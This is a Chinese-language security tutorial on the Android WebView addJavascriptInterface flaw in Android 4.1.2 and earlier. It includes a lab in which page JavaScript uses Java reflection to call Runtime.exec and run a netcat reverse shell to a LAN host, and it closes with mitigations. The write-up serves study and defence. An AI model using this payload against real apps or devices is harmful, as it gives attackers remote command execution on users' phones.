WebView 安全之 addJavascriptInterface
2016.01.03 18:14* 字數 474 閱讀 5668評論 0喜歡 3
0x00 addJavascriptInterface介紹
WebView是Android平臺下的一個重要組件,通常用來在Activity中嵌入一個簡單的瀏覽器,實現在線網頁瀏覽的功能。比如下面代碼實現訪問Google頁面:
WebView webView = new WebView (R.id.webView1);
webView.getSettings().setJavaScriptEnabled(true);
webView.loadUrl("http://www.google.com");
爲了與Web頁面實現動態交互,Android應用程序允許WebView通過WebView.addJavascriptInterface接口向Web頁面注入Java對象,頁面Javascript腳本可直接引用該對象並調用該對象的方法。
//Java code
wv.addJavascriptInterface(new FileUtils(), "FUtil")
...
//Javascript code
<script type="text/javascript">
filename = '/mnt/sdcard/test.txt';
FUtil.write(filename, data, false);
</script>
在Android <=4.1.2 (API 16),WebView使用WebKit瀏覽器引擎,並未正確限制addJavascriptInterface的使用方法,在應用權限範圍內,攻擊者可以通過Java反射機制實現任意命令執行。
在Android >=4.2 (API 17),WebView使用Chromium瀏覽器引擎,並且限制了Javascript對Java對象方法的調用權限,只有聲明瞭@JavascriptInterace註解的方法才能被Web頁面調用。
0x01 實驗: 遠程獲得shell
實驗環境
- Nexus 5 API 16 arm
- compileSdkVersion 23
- Android Studio
測試App代碼
AndroidManifest.xml文件聲明App網絡訪問權限:
<uses-permission android:name="android.permission.INTERNET"></uses-permission>
MainActivity.java中聲明WebView對象並向頁面注入Java對象WebAppInterface,最後訪問本地Web服務器:
WebView mywebview = (WebView)findViewById(R.id.webView);
/** Make javascript runable */
mywebview.getSettings().setJavaScriptEnabled(true);
mywebview.addJavascriptInterface(new WebAppInterface(this), "interfaceObject");
mywebview.loadUrl("http://192.168.1.101");
WebAppInterface對象定義如下(對象爲空即可):
public class WebAppInterface {
}
Web頁面JS代碼
<script type="text/javascript">
function check()
{
for (var obj in window)
{
try {
if ("getClass" in window[obj]) {
try{
ret= interfaceObject.getClass().forName("java.lang.Runtime").getMethod('getRuntime',null).invoke(null,null).exec(['/system/bin/sh','-c','nc 192.168.1.101 8088|/system/bin/sh|nc 192.168.1.101 8089']);
}catch(e){
}
}
} catch(e) {
}
}
} check();
</script>
在Javascript代碼中,利用Java反射機制,通過interfaceObject獲取當前Runtime對象引用,並調用其exec方法執行nc命令連接服務器8088及8089端口。
實驗步驟
-
服務器通過ncat監聽8088,8089端口
- 打開測試App
-
通過8088端口發送遠程命令,通過8089端口回顯結果
0x02 其他攻擊手法
-
iframe劫持
0x03 解決方法
- 升級系統至Android 4.2以上;
- 儘量不使用addJavascriptInterface;